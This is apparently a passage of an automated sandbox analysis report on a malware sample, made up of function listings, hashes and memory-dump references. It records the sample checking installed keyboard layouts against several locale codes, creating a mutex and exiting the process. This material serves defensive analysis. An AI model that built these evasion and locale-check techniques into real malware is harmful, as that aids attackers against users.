Associated: 00000001.00000002.2280270835.0000000000C70000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280297286.0000000000C80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280325386.0000000000C82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280410907.0000000000CA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280473828.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280505765.0000000000CBD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280525638.0000000000CC0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280588467.0000000000CC6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280607574.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280666323.0000000000CCC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280687562.0000000000CD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280754907.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280774262.0000000000CF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280795697.0000000000CF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280824993.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280846847.0000000000CFF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280915241.0000000000D03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280942148.0000000000D0B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280984962.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281011202.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281043135.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281074451.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281152615.0000000000D1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281182223.0000000000D22000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281211236.0000000000D23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281254253.0000000000D24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281279546.0000000000D2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281348020.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281367812.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281433309.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281546352.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281566948.0000000000D98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281626477.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281647164.0000000000D9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281707623.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281729210.0000000000DAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281785348.0000000000DAF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_random.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload$VUUU$invalid stoi argument$stoi argument out of range
API String ID: 3677997916-1112634906
Opcode ID: e9fe4ff14f4cc2420fd28c84be626c263483e79d40838becc56ac7434e578588
Instruction ID: 472995430a06595c8624c1bb08056606e0e7f2f4fd5c6099427edc6b8233f221
Opcode Fuzzy Hash: e9fe4ff14f4cc2420fd28c84be626c263483e79d40838becc56ac7434e578588
Instruction Fuzzy Hash: 2AC23671A00218AFDF28DF68CD89BEDB779EF45304F544299E409A72C2EB759A84CF50

Function 00AD645B Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,00AD645A,?,?,?,?,?,00AD74AE), ref: 00AD6497

Memory Dump Source

Source File: 00000001.00000002.2279934664.0000000000AA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.2279908771.0000000000AA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2279934664.0000000000B02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280064722.0000000000B09000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280084396.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280118922.0000000000B17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280245226.0000000000C6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280270835.0000000000C70000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280297286.0000000000C80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280325386.0000000000C82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280410907.0000000000CA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280473828.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280505765.0000000000CBD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280525638.0000000000CC0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280588467.0000000000CC6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280607574.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280666323.0000000000CCC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280687562.0000000000CD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280754907.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280774262.0000000000CF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280795697.0000000000CF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280824993.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280846847.0000000000CFF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280915241.0000000000D03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280942148.0000000000D0B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280984962.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281011202.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281043135.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281074451.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281152615.0000000000D1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281182223.0000000000D22000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281211236.0000000000D23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281254253.0000000000D24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281279546.0000000000D2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281348020.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281367812.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281433309.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281546352.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281566948.0000000000D98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281626477.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281647164.0000000000D9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281707623.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281729210.0000000000DAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281785348.0000000000DAF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_random.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 7bb5d9baf0880588e02f9381e031a4040ffaf09c6b74da652ae744d21e5856a0
Instruction ID: a36b72bc14a4986149f1d739dfca2c7e4f73c6a86d38eb8c49263365c35fb902
Opcode Fuzzy Hash: 7bb5d9baf0880588e02f9381e031a4040ffaf09c6b74da652ae744d21e5856a0
Instruction Fuzzy Hash: 36E08C70152A48AFCF257B14DA0DA8C3F2AEF11740F08890AF81646322CB65FD81CA91

Function 0530071B Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2284763973.0000000005300000.00000040.00001000.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5300000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6840b2de037c730beb63c44cef10ac542efeaa88a714419d205bdbd70b5008a
Instruction ID: cee9f09083bf101c802291baf15fad619aee5f55f82dc59c00e7a41c414b9c94
Opcode Fuzzy Hash: c6840b2de037c730beb63c44cef10ac542efeaa88a714419d205bdbd70b5008a
Instruction Fuzzy Hash: 950126E728C310BE6146D588677CBF66B6FE6D7B307709436F407DBD82E2880A096671

Function 00AA5B20 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 443
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

00000419, xrefs: 00AA5FA8
0000043f, xrefs: 00AA603B
00000422, xrefs: 00AA5FD9
00000423, xrefs: 00AA600A
Keyboard Layout\Preload, xrefs: 00AA5F64

Memory Dump Source

Source File: 00000001.00000002.2279934664.0000000000AA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.2279908771.0000000000AA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2279934664.0000000000B02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280064722.0000000000B09000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280084396.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280118922.0000000000B17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280245226.0000000000C6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280270835.0000000000C70000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280297286.0000000000C80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280325386.0000000000C82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280410907.0000000000CA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280473828.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280505765.0000000000CBD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280525638.0000000000CC0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280588467.0000000000CC6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280607574.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280666323.0000000000CCC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280687562.0000000000CD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280754907.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280774262.0000000000CF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280795697.0000000000CF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280824993.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280846847.0000000000CFF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280915241.0000000000D03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280942148.0000000000D0B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280984962.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281011202.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281043135.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281074451.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281152615.0000000000D1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281182223.0000000000D22000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281211236.0000000000D23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281254253.0000000000D24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281279546.0000000000D2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281348020.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281367812.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281433309.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281546352.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281566948.0000000000D98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281626477.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281647164.0000000000D9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281707623.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281729210.0000000000DAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281785348.0000000000DAF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_random.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 6c45542ebc6f255296814fd3a24b6026cf8b22d7b6ee7b73c2cfc5c56d95ddb6
Instruction ID: 5273e239f3c27fc09919b8eb25c162a7e7f2964860b8df807e5e0eb9766b9dd7
Opcode Fuzzy Hash: 6c45542ebc6f255296814fd3a24b6026cf8b22d7b6ee7b73c2cfc5c56d95ddb6
Instruction Fuzzy Hash: 50F1B170A0021CAFEB24DF64CD89BEEBBB9EB45304F504199E509A72C1DB749B84CF95

Function 00AA9AD5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00AAA893
CreateMutexA.KERNEL32(00000000,00000000,00B03224), ref: 00AAA8B1

Memory Dump Source

Source File: 00000001.00000002.2279934664.0000000000AA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.2279908771.0000000000AA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2279934664.0000000000B02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280064722.0000000000B09000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280084396.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280118922.0000000000B17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280245226.0000000000C6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280270835.0000000000C70000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280297286.0000000000C80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280325386.0000000000C82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280410907.0000000000CA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280473828.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280505765.0000000000CBD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280525638.0000000000CC0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280588467.0000000000CC6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280607574.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280666323.0000000000CCC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280687562.0000000000CD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280754907.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280774262.0000000000CF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280795697.0000000000CF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280824993.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280846847.0000000000CFF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280915241.0000000000D03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280942148.0000000000D0B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280984962.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281011202.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281043135.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281074451.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281152615.0000000000D1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281182223.0000000000D22000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281211236.0000000000D23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281254253.0000000000D24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281279546.0000000000D2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281348020.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281367812.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281433309.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281546352.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281566948.0000000000D98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281626477.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281647164.0000000000D9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281707623.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281729210.0000000000DAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281785348.0000000000DAF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_random.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: b55927af00998f924dff9e8aaa50e84ebce39ccbf42f6cf3f7de48dff3783cbe
Instruction ID: bb6679b235fe78924d8c3cf130466f29daf870640410a7301db62829759586f6
Opcode Fuzzy Hash: b55927af00998f924dff9e8aaa50e84ebce39ccbf42f6cf3f7de48dff3783cbe
Instruction Fuzzy Hash: 933159317101049BEB1CDB78ED8876EB6B6EFDB310F208229E0109B3D6D77999818761

Function 00AA99A7 Relevance: 3.1, APIs: 2, Instructions: 138
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00AAA893
CreateMutexA.KERNEL32(00000000,00000000,00B03224), ref: 00AAA8B1

Memory Dump Source

Source File: 00000001.00000002.2279934664.0000000000AA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.2279908771.0000000000AA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2279934664.0000000000B02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280064722.0000000000B09000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280084396.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280118922.0000000000B17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280245226.0000000000C6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280270835.0000000000C70000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280297286.0000000000C80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280325386.0000000000C82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280410907.0000000000CA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280473828.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280505765.0000000000CBD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280525638.0000000000CC0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280588467.0000000000CC6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280607574.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280666323.0000000000CCC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280687562.0000000000CD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280754907.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280774262.0000000000CF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280795697.0000000000CF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280824993.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280846847.0000000000CFF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280915241.0000000000D03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280942148.0000000000D0B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280984962.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281011202.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281043135.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281074451.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281152615.0000000000D1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281182223.0000000000D22000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281211236.0000000000D23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281254253.0000000000D24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281279546.0000000000D2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281348020.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281367812.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281433309.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281546352.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281566948.0000000000D98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281626477.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281647164.0000000000D9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281707623.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281729210.0000000000DAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281785348.0000000000DAF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_random.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 989ed9521e9b68897d8123fc74ae08593b1a42c77f81b47bab4a02006bf7b90f
Instruction ID: e97a4132e8adc1fca4ad072f75339f44532dd07c6ec6ccf303cc99688991277a
Opcode Fuzzy Hash: 989ed9521e9b68897d8123fc74ae08593b1a42c77f81b47bab4a02006bf7b90f
Instruction Fuzzy Hash: A03148317102049BEB1CDB7CDD897AEB7A6EF8A310F208729E0159B3D6D7394981C751

Function 00AA9E74 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00AAA893
CreateMutexA.KERNEL32(00000000,00000000,00B03224), ref: 00AAA8B1

Memory Dump Source

Source File: 00000001.00000002.2279934664.0000000000AA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.2279908771.0000000000AA0000.00000004.00000001.01000000.00000003.sdmpDownload File
